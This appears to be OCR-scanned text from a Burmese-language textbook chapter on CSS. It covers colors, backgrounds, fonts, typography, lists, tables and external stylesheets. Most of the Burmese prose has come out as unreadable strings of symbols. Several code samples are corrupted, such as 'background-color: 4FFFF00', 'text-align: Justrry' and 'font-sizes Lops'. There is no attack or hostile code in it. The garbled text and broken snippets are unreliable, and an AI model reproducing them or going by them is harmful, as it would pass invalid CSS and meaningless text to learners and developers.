backemoumndseoler: sgp 255p, 255, 097 


} 


sloop5:5 <p> Element 60203 esoo$83eolesp6 2503909c9020020 [eëoloooSi rgb () Function o? 
° ° M ° ` co Ç ç ç ç 
3905;(G|000:(8: 320090 Parameter 09:93268 & Red, Green, Blue 39050$0360:q 0100051 050590560: 
8603 nam$:0$8: c05026002 0 mes 255 səco[eóoloooSi rgb (255, 0, 0) AÊ Solid Red 3 q 
goolu Red eP 255 so [00960:000:(8: os Green š Blue 390305 0 9905905000:08(860los05 1 
39009096 rgb(0, 255, 0) soq Solid Green, rgb(0, 0, 255) se] cooo Solid Blue saeqpe 
° ° M c ç e e e ç ç e <c. o 
o aces olo»oSu rgb(0, 0, 0) 0» 32505eqo6(g$0lo»oóu RILO Screen 320905 3acepceq 





00000 səao5ospe[eóoloooi rgb(255, 255, 255) 89 Ee0r? səə[e|espe[eëoloooši 99:90»: 
< < Q O Ç € OC * e I-A ere C x e 9 on: c € 

ga[Gaseclé: odias «$60232c06:59:3»e«p6(s90? so[e|espcoo qq[eéc:[sëoloooSi rap (200, 0, 
° C ° c ç O O ° <ç x o ° ` c 

0) RACOR $92 coco qı Red o9 ao [009660:0 200 co co:coo: Š: Green š Blue œ 0 (95 
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^ < < < e o ^ e ° c o Oo c € 
690 320905 3a402eepc o003020lo Sag (30§4¢ ) o? qSe»(s$olo»o5u RPPN rgb (255, 255, 
o ç ` < CA < < ç ey oc 
0) c9es: ooo: 000051 rgb () eo Primary Color oo»99 (890? 3201320209 aeespéeoleoeo? 328 $3206: 
B eqooóc9o9«6 saoleqoéqgord (souls. 


background-color: rgb(60, 130, 240); 


RED BLUE 
GREEN 


Q Q-s) CSS RGB Color 


30030003295: [o 60) Color Value meom Hex Value o[eóoloooši Hexadecimal ocpš:oeoà 
@9 3000340100051 


ig 
background-color: 4FFFF00; 


) 














Hex Value o? eg: + Sign à06q:60:qolo»o5u 68009906002 (6) 9:09 Hexadecimal 00§$:03 
eo: olo»oSu 09|$602302 eof: eso Decimal Number system oo 0 meş 9 3309 aang: (oo) op: 
olo&ol oooSi Hexadecimal 906009 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F &9(8: omg: (9G) od: 
cloéox (sd0los051 Number System eogaae[aq26:036029 Sepp 3ə620:009 ec[oošCeooooloq: 1 
aasi: səo:[8ç Hex ooš@: FF oo» Decimal coš@: 255 à Ə3oooScooooscoo:eoa|éoloooŠi al 
ele Hex Value eo sə89ə9:oo 00 [66[8: (esca: FF [eŠoloooSi səsoeoso:coo:o (8) ad:03 
FFFF00 ooo R = FF, G = FF à B = 00 soo>səƏglo5[eéoloooSi Red š Green 320205 afea: 03S 
8603 FF c9 250$90$000:[8: Green o? 00 220$905000:023»020? oocoo5:osəo] spero edol 
coo 
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p { 
background-color: #3D81EF; 


A A BL 


RED BLUE 
GREEN 


9 Q-o) CSS Hex Color 


IS oS S e O C 8 ° x ç ° e > & ° ç ;l 
9o5qjo? ú ú Hax Value ecgooo (oras (G): peq qeve 320?6020053268& (0) Pecq: qo 
00031 poe - #FFFF00 3202: #FF0 c9 egq:àColoooSi #88AADD 3000: #8AD Req: &ColoooSi #FFFFFF 3200: 
#FFF c2 egglos #000000 samo: #000 ca eggo (8:602 90c9:39[03:32690: coo: (9922406 Qol 
oN: 9005 S solos #££ff00 cŠ eqo NES: Ocoóooo[eóoloooi 

i T Sp $ es +€] Pe SPOON Og 


Color Value eogsae(aq2E:08[8a8q6 Background Color magnus: 81 eo3(030? Color 

Name, RGB à Hex Value 0303 background-color səogo5ooCeooolog: 0205239666603! Border 
e e . 2 ` oc ° oc e | ç 

IIEP cog ofeg Color Value eo:c$$0268 poc: aeos: fR peso OD05II 


oo < < < c C» Q9 IN e € € < < ° 
waes RGB Color ga H c0p303C:603000:6000) NENA EMPER 
° ç OS S(e. c o o » Sopa. > ç O IN O Ç ey ç 
o2030960903(8: oeo olg: gHds(GEsgodaaeqnE03 eco»0$0»c90909$ Color Code coo[oš 
090560:03 Color Picker Tool cog səqp:[c2:9oloooŠi Scsspoo səsoCsəc|[Oso:oocooo ColorZilla co 
eslo) Firefox Addon d{gdclosa5u Š Addon cop$256:c9o9q6 Website scogeoloo [eÇ esqo>səespé 
o? ecooo$09 Dn Color Circle eolo saeqnEsozevlé:05{§:c0220095: Color Code cop qor8éol 
0051 Color Code aps: Hex, RGB, CSS3 Color Function 6020399 0269a0ls006(8603 HSL, 
Print Design g20):03 CMYK 000[8¢ səQ|: d: oo[oš 60:86 0los05u zase) 00000: 0e pÂ 
Color Name 20094999 cops: 0300 eoS(peo:olooo5u Web Developer 60239020504 a[8d Browser 


Addon cogs 006930013906 [8d0los051 
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<", ColorZilla Color Picker 


Picker | palettes 


current 











JH: | 197 

° > 223 
V: 198 
R. 135 
G 25 

options 1 
Hex: #8719C6 
Q Add to Favorites 
| CSS: rgb(135, 25, 198) hsl(278, 7896, 4496) Name: 


œ (Q2) ColorZilla Firefox Addon 
Link: http://www.colorzilla.com/ 


RSE 


OK 


Cancel 


:|38 


: | 67 


Eil -81 


81 


223 


57 





Google Chrome à 026[80: Browser 6023902030095: səcoo:o2 Extension eoəqoloooŠi Install ô$ 


səo>:[0|ó saca: Boco muono pegenn: oS:o5o[o2ooeoa|coloooŠi 


ARIS Sor 360900000030 CSS Background Property ec932e[n356:(94 29»: oleoSi Background Image 
e e O e š O 2 OC | ç ç ç O 
GOR Cop909C:6320905 background-image Property PROIN 029$60220$92 alert.png 


° x ç 0 ç o o 
AO Image 60020909 ¿masa 


A 


alert.png 


8 Image eœ: «p class="alert"> Element 320309 Background afes: LRE 32909 


oc ; IN 
GAI; COII 


p.alert { 
background-image: url("alert.png") ; 


} 


Professional Web Developer - səəŠ: (2) Cascading Style Sheets - CSS Gç 





background-image Property 320205 Value o? url () Function š 2209909e0:q00o (8$0lo»o5u 

< ` ° ^ c C, nQ Ca € < y o o ° 
url () 3209€: go Image File ego? Path coé:e[o256:02 22§:3860: 40100051 qco3səocess 29:98 
qo [ešoloooŠi 






CSS Background | + 


T" 









9 (o-c) CSS Background Image Property 


«p» Element oo (B:05(8: alert.png Image oo 600:6502320209 Browser oo Repeat coó[6:eeo[o 
` e e o ç O e | ç x° e e ç o 
29: 02320905 $c9qceo$qQesooo(s90 oooà) 323 Repeat apoesoorcajaaapeox? background- 
` coc ç ° ç o ` ° e eme co c ç 
repeat Property à [o [yégcolonon ag§cor503eq:000:03 CSS 0? eghet oos 


p.alert { 
background-image: url("alert.png") ; 
background-repeat: no-repeat; 


} 


` 


background-repeat Property š 36033205: (9$ 60? Value (ç) TE Alos repeat, repeat- 
x, repeat-y à no-repeat 20 (sd0los05u repeat meo Default Value [ešoloooŠi repeat-x 
° o C . X cC OQ x ° IN o 
meon Image Repeat o9 qp: (Horizontal) ò coóc90332el o5:oloooóu repeat-y MeO 
o eC 0... : ` C O x ° IN co ° ` 
Image Repeat o» e3léc8o5 (Vertical) 6 coóc90332el o5:oloooóu age (9 00:0 no-repeat 
e 23.9 IN S O C(^C.x c IN IN o o 
meon Repeat oq ôo 2003905 Am[ac:9 [ešoloooŠi neona 
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<", CSS Background - Mozilla Firefox 


CSS Background 








9 Q-0) CSS Background Repeat 


. O ° OC N L2 ° c ° c | IN IN ere 
QO) 3283209€:Ó 95:60: 000:(8: Repeat 609060020200? coə.qoo[eóo OD05II somscoas(8: Background 
Image à Position c? background-position Property o5:(8: 000390360:&60looo3i 


p.alert { 
background-image: url("alert.png"); 
background-repeat: no-repeat; 
background-position: top right; 


background-position Property 320200 Value o? 4960: 40100051 Vertical Position š 
A iE ç c ° e ` ° iN o o 

Horizontal Position [ešoloooŠi top eg@pgo bottom 9960900 center $ C932000C93200:00: 
° oc ç y ° c ` ° e ° ° ° oc 

səob:[o|&ColoooŠi right @šsp%o com left Sbeooo center q QINA 3202:09:32: (0) ¿col 
ç , ° ° M ç co e ° ç c ç 

on top right C9 S2:ooo:o2səogo5 OAS oocoxosəəcoc[ooC:ooo:eo[eóoloooi 
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<", CSS Background - Mozilla Firefox 
CSS Background Es 


c 


0294664 p03026 weg ss 0002 2203/4901 





9 (2-80) CSS Background Position 


añ i i Position Name coa 60050 es«03209320310009: DOSEOSGU:SE0lod0SI1_ 2060 - back d- 
go] Š OBR 907 $P QUA: 7 "m e ASE LOMO 
position: 10px 20px; coo[oo[cosəo5: [a lon 3ls9q6 Position o? Element Left mes 10px à 


Element Top meş 20px gf: eş pajo eo: gafel 


Background Property (9) qj:@> (ç) Jeeson afodio background-attachment o» 
con Background Image o? Screen Viewpoint à Attach [seg e c5o335slsoo5:(9|golo»oó v 
background-attachment: fixed; ca @[03[G03095:(6)qolos05u desc Background oo 
Document à Attach [8Šesooo [eëcloooSi s22: Scrollbar sàcoo5coeeo[oo> Content es speg, 
IN c S ¢ . Q IN c 
292:9 Background copo: c9o9eg 290: el background-attachment: fixed; aj0003g03000: 
IN C Oo. IN IN e e c IN X c c 
e ¿con Scroll qO «copo: Background Image oo (86096:006$ €Q[20309056990:0 80030009 
majestad 
CSS y Shorthand esto? 390360220960} $05: Golos05 I Background Property 39:09:09 006 
e(o226:8 eco:cle(o206:3e«: 6648 3209600009 eq: aqu 


p.alert { 
background: #FFFFDD url(alert.png) no-repeat top right; 
} 
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PZPP background-color, background-image, background-repeat š background- 
position eco:Q|ic): 3200: background o) Property ooóəcoə5:à Value eoz 32:09:02 00§:8 
009960:c9090000]i $505:8 3209600009 ql I sleoeoS Value copo» Color > Image > 
Repeat > Attachment > Position 329390932096: @šcsəoCco:qoloooSI ochos Value ¿o$col 
001 $RP Color à ecoo:oloooŠi aog§gé Position mesos: qoli slsoeoš 64009009009 
oO C x e oc e e c IN ° e e. c c c 
c90$0? Value meon 3293096: @$c32oCco:gəo[eóoloooSi 3593009 eo$«632c90c9090605050l 
eC O * o c IN ç ne) IN o c o € ` IN 
97:11 eœ) Value acc: q|$000:3c9qolo»o9i ¿egos Attachment o98|Š o0o:30lo»oóu 
ç eon ° ° So e co c c Oo «c IN 
oQ$eoo3094 HRF 390:05:(GaSdo30:63906 Property oda}, coó(so3c9030leoou 


p.alert { 
background: #FFD url(alert.png) no-repeat 10px center; 
border: 2px solid #DDA; 
padding: 10px 10px 10px 50px; 
border-radius: 5px; 


border, padding, border-radius Property GOR coó[eoocoosoooolii 8 Property 60932c[0226: 
° e S. co e ° o e ç 
o? eag q&:(geo:eooli maggio səəcoq9eo[eóoloooŠi 


« ", CSS Background - Mozilla Firefox 


r 1 CSS Background [+ 


A wag dogep8038 ooosaóqp:coo sag G$88Eo005 








y 


9 Q-e) CSS Background - eoo: 


329 <p> Element 028909 App Interface co2eo eon [eceg[os Warning Message 32096 geodo 


cozezme CSS š @šo2:coosoosoo[eóoloooi 
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Text and Font 

000): aep (Text Color) o? CSS à 9905905390205 color Property a: qlo Value 39694 oo 
C MN e e OC x ç ç oc 

eo»? Background Color eo eo3(9302 $25:006:60330036:5 Color Value eo26o:qeo(s$olo»o5i 0295 

° e ç o e e o e ç o ° Ç e : co e 

co 200590020932990p609 (0960902) 2909003033998 09@050900(86 Alignment c90632090M) text- 

align Property Rolos Value 22094 left, right, center, justify cco: 4}]: səoà: [o| 

BE dloouSi 


biog 
color: #224477; 
text-align: center; 


} 


pl 
color: #555; 
text-align: Justrry; 
) 


maco e»c00$8 0060269205398] 6203096:6,0006c96:09 600:912:0068 coo$e005 (8:6 ¿(men g 
a qa &926096$:02 9302C: PCO Cq pe gL: 24): 29 
olo»oSu 802600002 Web 9060093223: 5:oloooS 620:qjó:006$ 0098009200 eogo5coleo vos 
ca GO50C:GOGOƏI Screen eol go @o5ejoooo9ÓsəsoCec[oolog: i o5:c9q6 6002 text-indent Property 


o? 95:86 olos05i 


pit 
text-indent: 50px; 


) 


9509:60209 Underline 00: (8: eso oas] text-decoration Property o? 390$:(0)8éolo05 
AGO, go text-decoration Property o? Underline eoo (s|o58350205 83905:@): 01090511 <a> 
Element 0009 cop?996:c909q6 Browser coəooosəcosəccojpoo Underline ooo: [e:e foen olon 
39808 Underline 02:02:00 ecoa|Copsəə] text-decoration Property go Value o? none cŠ 
000390960: ¿Colors 


a || 
text-decoration: none; 


} 


a:hover { 
text-decoration: underline; 


} 


none à underline a[o text-decoration Property š Juos: [qA Value cogoocooo 





Professional Web Developer - səəŠ: (2) Cascading Style Sheets - CSS Se 





overline, line-through, blink Bd [ešoloooŠi overline 026002 3960730339093 05:01 
IN . 2 00 € 20 € » IN Ç Ç ° ' < ° ` IN 
0203! blink 006009 0:04 él aca): quoi 90' eso3qp:oo səob:qp:àcoeoš 
0264690390 C910625:600200600009 3999:8 05:030:0](81 line-through Meon Og], es 99 60299 
3905:060los05 i 02902020003602,92 cor none à underline 0 səo5:səqp:s5:[sëoloooSi 


eoco:səoac o [oé (Font) 200509098320209 font-family Property c? 25:4 0100051 Value 32658 
seo»: (9003 Font 396909 220990960:q0lo»o3i 


pí 
font-family: Arial, Helvetica, sans-serif; 


} 


Sco 3909c905220390$00200 Fallback 320200 3905206010051 G0:000:0? $SIN) 3905;(G}9903@9 
Arial Font POG Browser o» <p> Element 60303 Arial š coeo[oeo[eóoloooŠi efe éso? Helvetica o? 

° ç oc € : IN o ° c . > c c 
329»: fed Voosi Helvetica cops: eQ99:s9q66009 sans-serif Font à eeo[oco:eo[eéol 

IN e e ` c o o € `x IN c 
on 050290960:000:0? Font e09029996822:20«6600? Browser Default Font §6 eo(peo:eo (95 
oloooŠi Document c3eo (846292602 c003256:6«:222:000:09 [egeo Font eoo 220590586 6 cops: 
32909 2209905 olos 


pl 
font-family: Padauk, Maynamr3, "Myanmar Text"; 


) 


"Myanmar Text" o? Quote 309632009869: ooo0?o»o9[ojoli opo» Font Name go Space olesc9 
Quote 3096300058 eq:00: 80932000900 los Myanmar Text Font 8.070 Windows 8 eo Default 
oloécooo> Myanmar Font [ešol oos 


Bad II! I Soocq:osa|soo (8300005 :@3səCoooso5oo ococoyusoyuizo 5: [ole omo Zawgyi Font (S991 
go] Se4a]ooo 169 Sie 49299 ES PAL oq 8y 
ç : ° ° o € š i ° ç ç ;l DM 
om Zawgyi Font op soos: [o|c9q6 cooo font-family: zawgyi-one; CQ 950590560:q900!!l Zawgyi Š 
Ç ` c ` ç e c c o o e C s ç IN o € 
$99:0p22090? oo9[so: omo Font morra 09690995:00005905G0:9609§ 0109051 Web 
Standards o? 32093209096 c90340 ¿cacon Web 899102090 aosoGec[9o70609$825c90 ALAS mI: 
c ç ` ç e ° € is coc c ç 
(e§eo02900095: Font 6020090330309 saa06ee{Gore02G0los05 slsoeo$ 329640090€:6002 (856000320205 
ç : : IN ç ` bs ° o ç ° ° € ç iN 
cops: Unicode Consortium or 2505905000:02 09802099: 9222009020: soc € $99:092266090? qa es (03 
¢ oec ° : ° o ° : e c : . O GC ` 
(o s a CE Microsoft, Appie RR no Operating onm o90c909p60905 ieod aa ° 
o di ` : 
(8500 Font eo opo? OS copos ordvlorpS:cop5036: GO:coooocol Google, Wikipedia 32090? 3260» Website 
ç ° : e cco : ° o S 2 ° ° S 
coma: opo? Website copy [8Šeosocoocoeo[o8 Unicode osa0p¢: ehoa: (9 c02{a9[8[gdolos05 e[o>o 
` p x ç ç e o IN e S e IN ° ec 
6002020200092 seo [o51602.6$ «9? səsoCec|oocoo c[ocoo5 230360226050) egpcogolosoSu $32c(0226:02805 
[MEN JO] 99 JE 62-8 LS sol Su 3l ç ç ç O 
oCo: Geon: Web Developer coo WAON 3260:00) coeo[oa|co om 3160602 Eco coma 
Ë 1 ri 3 < É rj 


IN SCAN o. 9 oy oO Sol ç 
COO00O2GŠ$ e: YY: PN: AN a8a|$#coooo ODO II 
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° ° Q O9 x Q IN c ` ° ç C O * 
oa: Bold coóc90332el (2960905) Bold c»6000:020209:c0200e$ Bold (0s(e ooo? sos] 
font-weight Property o? o5:&60loooóu font-weight: bold; Les 000):6020% Bold 09060: 
eo[s3(0: font-weight: normal; aq Bold coócoo:oooo [G§[goSe0:90 folosi «ni» 
«h2» <h3> 3209) Heading Element cogu gcocoo[oosoq Bold ase ofans edge 

o € : > ç e c € 
oa:soeic font-weight: normal; Š [Sš[elo5<o:qeo [ešoloooŠi 


eoco:ooooo Italic Í Ga Italic coócoo:o>eoco:eooooes Italic (o$(sjo$c903 səəl 


font-style Property o? ob: olos font-style: italic; Les 005:60303 Italic aseo: 
gofgo[8:1 font-style: normal; qé Italic coócoo:ooooo[oš[e|o5eo:eo [eëcloooSi 


yaa WW oogo5co[ooqosaocoeo[ooyooo[eo[eó: Web Document ec! go ee3(po?eoo(s9[89 Typography «$ 
cə[o> ma): Boses ao:a o: ea 6059 .2502603$096:co6:eqpeg 8: səsocc[oooo[eó 
desata q Desir ç E Devel t ç o Oe, saca Pypopraph ec. 
oloooSi 39039600» Design coošeogé Development 990503 9(8:32220:60:qj6c9 Typography szef: ooóəš: 
(8: SRE: al Š e(38 9 S X0 ° S O eg og, Sco: leas 
o»qpop(ó: eeco[o&colop: i 316060 o[gdecs 252526020296090960»? 22625090093296:665[060:252:0leo5 


° ° c IN : c ç Oo ç opm ege IN : Q O C 
e50?:6090» Bold qoo Italic coóooo5soooo eo2op03[32o: (ee o[ecosoesooc Emphasis aoo) 
oooolài &$220302409:050:02 399524, Ee0005 Bold cpd{§: 32c9$32e6: Emphasis c99000:0202602 


fon) 9059.99 390305 9054 022600005600]00051 9 (QA) ço $s RS oon 


Good 


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer 
posuere orci quis ligula. Donec egestas massa vulputate nisl. 
Curabitur venenatis. Nullam egestas facilisis ante. Suspendisse 
tincidunt. Etiam vitae leo id mauris laoreet luctus. Cum sociis 
natoque penatibus et magnis dis parturient montes, nascetur 
ridiculus mus. Nulla ac odio. Praesent bibendum justo id mauris. 


Bad 


Lorem ipsum dolor sit amet, CONSECTETUR ADIPISCING 
ELIT. integer posuere orci quis ligula. Donec egestas massa 
vulputate nisl. Curabitur venenatis. Nullam egestas facilisis ante. 
Suspendisse tincidunt. Etiam vitae leo id mauris laoreet luctus. 
Cum sociis natoque penatibus et magnis dis parturient montes, 
nascetur ridiculus mus. Nulla ac odio. Praesent bibendum justo 


© Q-qj) Emphasis in Typography 
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography 
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9009: Size e09050$90$0300909ec009 font-size Property o2o3:8ColoooSi CSS yo font-size 

)| p a ceo IN co ° OC * : ° o 80] IN . 
savlas0é Size oeoanoo$8:00039030 a:o Unit sagjj:q:GolooaSu px, pt, in, mm, 
em, % om(scgiocolonos1 sleoeo? pt, in, mm seo$jo Unit com Screen səogo5o96səsocec[o 
olog:u Screen Resolution ag»[g»:qjo?e(o206 lin 0000090005 1 inch š Screen eoleoso(8026:05 099 
ecooqp olog: u 20 :qp:0) (2) Quo px, emà $ coo[eo[o2oloooSi px Unit meon 20039030902 
Size 9 "20307" o5ooooscoooooo[eóoloooŠi font-size: 13px; co 0003903090396 13px 
vemo ma: e53(060:290:999 [kodolos 


em à % eo Relative Unit 3 eslolo»o5w Size A a. 2003403004]: once ae 
size: 200%; cQ s005goSabaSor02 "ps: qeu Size 009 gda0[0$:05 Size 0? ob:coo5ol" 38 
él fodoli font-size: 80%; ONLY "Se§od:qeud Size cooo Eee 
SoSol" LO 80los5 Sol IN IN € o o € ç Oo IN c ER 
mol" so? səƏolo5o [s90loooS€ $03:5p9:625:c9 e[poc9o?oco(S$c9 marmo: an 
Parent Element eol goop$esolo»ou Qoeocco:& (magna 0R|§ 60250390 $08 Element 
Structure ASH = 


<body> 
Ape 


O 
p 
«/body» 


«body» Element 390305 Fix Size 0009 o003e03eo:(8: ay oq|Š Element 603203 Relative Unit (S903 5 
ob:oleoši 


body ( 
font-size: 16px; 


J 


p { 
font-size: 200%; /* 32px */ 
} 
pb 
font-size: 40%; /* 12px 9%, (40% of 32px) */ 
) 
qo5qo? I W CSS DQ 9 gosajaseog 2 copo: :69:000:0996 /* waged x / 220803 [090: cooo ego: ÅS ¿olor 


maca, saaa ozas] /* */ [Dp |q2090:000:02260203 og: səocoOcoOeoeooo5oloq:II 
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“os o * IN ç ° woe fe Nn ON ° JAS ° "nA S 

em Unit $jo5620000 $ à soColoooŠi 1.5em o "0Y: şo" «902 rl: 3em o "o5: 
"n Qo o erc ç e ° 2. me 2 s. [° IN "O iat e re 
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Typographic Scale 


a ab ab ab ab ab ab ab ab ab ab ab ab ab ab 


8-1 2B^ 347101112 LEIS 18 21 


9 (9-90) Typographic Scale 


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typograph 
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~ 2 QO 2 Q ç 
menes So ob:cecogoloooŠ = 


body ( 
font-sizes Lops; 
line-height: 1.5em; 
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line-height o? 1.5em ca e(9oc9036002 6800506: font-size efi: cops: line-height o? 
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Professional Web Developer - 3295: (2) Cascading Style Sheets - CSS qç 





Good 


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer 
posuere orci quis ligula. Donec egestas massa vulputate nisl. 
Curabitur venenatis. Nullam egestas facilisis ante. Suspendisse 
tincidunt. Etiam vitae leo id mauris laoreet luctus. Cum sociis 
natoque penatibus et magnis dis parturient montes. 


Too Little 


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer 
posuere orci quis ligula. Donec egestas massa vulputate nisl. 

urabitur venenatis. Nullam egestas facilisis ante. Suspendisse 
tincidunt. Etiam vitae leo id mauris laoreet luctus. Cum sociis 
natoque penatibus et magnis dis parturient montes. 


Too Much 

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer 
posuere orci quis ligula. Donec egestas massa vulputate nisl. 
Curabitur venenatis. Nullam egestas facilisis ante. Suspendisse 


sociis natoque penatibus et magnis dis parturient montes. 


9 (Q-g) Line Height in Typography 
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography 
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Good 


Lorem ipsum dolor sit amet, consectetur 
adipiscing elit. Integer posuere orci quis 
ligula. Donec egestas massa vulputate 
nisl. Curabitur venenatis. Nullam egestas 
facilisis ante. Suspendisse tincidunt. 
Etiam vitae leo id mauris laoreet luctus. 
Cum sociis natoque penatibus. 


Lorem ipsum 
dolor sit amet. 


Lorem ipsum dolor sit amet, consectetur 
adipiscing elit. Integer posuere orci quis 
ligula. Donec egestas massa vulputate 
nisl. Curabitur venenatis. Nullam egestas 
facilisis ante. Suspendisse tincidunt. 
Etiam vitae leo id mauris laoreet luctus. 
Cum sociis natoque penatibus et magnis 


Bad 


Lorem ipsum dolor sit amet, consectetur 
adipiscing elit. Integer posuere orci quis 
ligula. Donec egestas massa vulputate 
nisl. Curabitur venenatis. Nullam egestas 
facilisis ante. Suspendisse tincidunt. 
Etiam vitae leo id mauris laoreet luctus. 
Cum sociis natoque penatibus. 


Lorem ipsum 
dolor sit amet. 


Lorem ipsum dolor sit amet, consectetur 
adipiscing elit. Integer posuere orci quis 
ligula. Donec egestas massa vulputate 
nisl. Curabitur venenatis. Nullam egestas 
facilisis ante. Suspendisse tincidunt. 
Etiam vitae leo id mauris laoreet luctus. 
Cum sociis natoque penatibus. 


dis parturient montes. 


9 (Q-g) Vertical Rhythm in Typography 
source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typography 
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$ Q-9)9» &6:o»9ecocoo(o2 poli 


Good 


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer 
posuere orci quis ligula. Donec egestas massa vulputate nisl. 
Curabitur venenatis. Nullam egestas facilisis ante. Suspendisse 
tincidunt. Etiam vitae leo id mauris laoreet luctus cum sociis. 





Too Long 


Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere orci quis ligula u. 
Donec egestas massa vulputate nisl. Curabitur venenatis. Nullam egestas facilisis anteiter. 
Suspendisse tincidunt. Etiam vitae leo id mauris laoreet luctus. Cum sociis natoque. 





Too Short 


Lorem ipsum dolor 
sit amet, consectetur 
adipiscing elit. 
Integer posuere orci 
quis ligula u. Donec 
egestas massa 
vulputate nisl. 
Curabitur venenatis. 
Nullam egestas 
facilisis anteiter. 
Suspendisse 
tincidunt. Etiam 
vitae leo id mauris 
laoreet luctus. Cum 
sociis natoque. 


(2-2) Measure in Typography 


source: http://www.aisleone.net/2009/design/8-ways-to-improve-your-typograph: 





Professional Web Developer - səəŠ: (2) Cascading Style Sheets - CSS 22 





Styling Lists and Tables 

<ul> <ol> Element eogà Document cgo cop§agé:000:03 List e024 Bullet à Number Style 
000390306050? egeo: doS 1ist-style-type Property o305:(8: Marker sa[gdeo3(Geoo0 
03 Number 9800705 Bullet o9 2205eo5&60lo»oó€ vossa: Value coəgoocooo circle 
(0), disc(e), square(M), decimal (1-2-3), lower-alpha (a-b-c), lower- 








roman (i-ii-iii), upper-alpha (A-B-C), upper-roman (I-II-III) o2o[eóoloooŠi 
armenian, georgian, greek oo) Value copcoe5: $eon:coe0) 3905:§95:0]0005 list- 
style-type emodgodom:gqé <ul> 320905 disc o? Default saeg§s005:(0(8: «o1» 320505 
decimal o? Default 32684 aeos: (gjesS(9eo: eo(8$0lo» o5 Bullet coy Number co? ecoqié c9 (S55 
Ligji 66029 none o? æ: qolu List 38036: Bullet à eeo[Oa|Šoooeooo5co none mps: 3225: 
qp:olooo$u 


@g2030063905:06 05 List Property meo list-style-image [ešoloooSii List Marker (9807 
B > IN o € ° o € 
ullet cog Number e09320^: Icon Image cco:co2š coda logcolo an 


ul 1 
list-style-image: url(arrow.png); 


) 


list-style-image 390305 Value o? background-image gocgd url () š wogeo: golosi 


<table> Element o? Style 6022205905 $68320505 (S939 o3ecocooqeo? Property $g Jolo 

border-spacing š border-collapse 030(gdolo05 border-spacing Property o? Table 
SS c e ceo ° ç ° 

Cell so 006980069 (20:09 sa0723960:00039038 səob:[o|qoloooSi border-collapse 09600? 


Table Cell so2ço NUS Border Style Ray. c322099 0983223: lts u 
9 Qu) @2603(GG0:000303 Table Style q esc Seq: co:qeo[eóoloooŠii 


tablei 
border-spacing: 1px; 
background: #247; 

} 


el 
background: white; 
border-collapse: collapse; 


) 


ip EST 
Color: white; 


) 
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<", Country List - Mozilla Firefox 
[5] Country List | + | 


Name ISO ISO3 


o | oe [ua wa. 
os | cree [uz [wor 
e [weme O 


530 | Netherlands Antilles 











9 (9-8) CSS Table Style 


&Q409o0 border-spacing: 1px; o? table 20205 200390360:(8: border-collapse: 
collapse; 026002 td 390209 990590560:000:022(9 6009051 30986002 329894090! Cell eoo (o2: 
m eogesqgo? Border $6 c96:60900 Border eop050lop: i Table Background Color o? Cell cog 
(022:09 9996902 Space mes (86602,6909 Border as: cco:eoəococoCosp[eóesooo[eóoloooŠi 8 
$20:0 Table coz08 Border QS: 6028 605(Gcho3aaels005:[,ea9§03 so5:coS:o[eëoloooši 


329 CSS sae[ad Property cog $20600003§090:018 v sleoeos CSS o? o00380:9oeq:(8: HTML 
Document SdH gjosaoasqcdee(Goqeoo:0lop: I so [a olon 
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3.7 - External CSS 

CSS Rule 0009936:6$:220:000:0) File cooo css Extension š o9Ə:soə5:co:goloooŠ (poeo - 
style.css, layout.css, widget.css)i (8:80) 326$:90e[02322c90 File 0209000 ooo File cà 
ador08 ŞI so: [sog File à Content-Type Attribute osa8.ar[(gdoloo05 3leoeo$ File 
Extension o? css 86:a005: co: dé Content-Type Attribute o? 08: (so: 005 90S eg 0 pec?60020 
oəšq||ooooo CSS Style File 9$:29929o:eoeo[s$óolooo$« CSS File eo203 Web Document òp 
o ec e ° o € : ° ° O ç IN IN 

ájo5soo5 22: [AVi «1ink» Element Ra: jooon poeo - 


<link rel="stylesheet" href="style.css"> 


«link» Element o9 Favicon, RSS sa0§o3 ooé(s» Resource eoz gossoaS$c0p5:05:600:03 
390309 rel Attribute o» stylesheet co 990590560:83a6cloz05 i href Attribute goeom CSS 
. o > ° IN e ç 0.00 € c o cc e o e > 
File §ego3 URL o? 0093036:60:4 010005 Sc94jo9«003e0: c9o9(s6:000 3 Document Revoza] 
> IN IN wan oc c jl o o ers € c ;| ç 
style.css 099 050$90$000:0232096: eoo [oeo:olco c[os|cocooo[ec:coo5:[sëoloooSi 


<link> Element o? $D peş pepa: aC eoo] elfandi <head> Element 
390263999 0093026: 60:988adeqn0590[80los051 goeo - Browser o» <body> Element cboosoa|oo 

IN o ç < ç o y € ` ° ers coc Q OQ < < jl 
3200006090? eceo[osc mao Style šcoo[oqecŠ [osoik O9 eq[cg.32»soC e(oeoe»(58 O 
oD05II slefox¢ <link> Element o? «head» Element 32096:9000005256:2560loo 031 


808 css Extension à 086:s095:000:03 CSS Style File eogvx HTML Document à e2205s960 
oŠ: eo: (8965 6003320205 External CSS ceeslolooo3u External CSS $,320:220qJ05 ôg olos 


šolo (9) meo Style 02098 0503 090302320203 HTML Document ooo Semantic Data Structure 
° ° 


afed: Engs or958Eo30:905 (s90looo$» CSS o9 o$09:09096q02 «p5go9qjo9oocops: Š 
Sqp9g09qj0939 Brocas 


šolo (y) meo CSS Style File 029909 HTML Document eolé:qp:gooo $jo3«003q05»3225:(9|8 ] 


IN 
C 
9 
3 


-2o «Oo 


030902 Style 0303 codsleodal[o§.eq:0qpec3e0> 703 Reusable 3201920803 q$932:600lo» 03i 
Style File 029909 coqJo3:02 320900 (9és0cgco2[00708 aasan ops: Style File go (96c90505à 


asomó qo»(8:25:000:0? Document 320:09: NSO: Effect [eëŠeooo[eóco qp:eocoo5oo 


/ 


GO [eóoloooŠi (8:602 Cache 320:2208(0900co93: Qoleo5:ooo5I Document 28909 8] 
qo qna: $ qo? qopcooo2 
c oc o C IN ` : o iN oc c ç x° 

NAC 8|02s005000:02 Style File Rol Browser o» Cache cy0000:4C go(s$olo»o3u 393 Style 

. ON » SAN iN c ° M : ` c O c o 
File 09099:000:0264005 Document nogal Style File oo 3202090 (8$ c9 0060» opo 

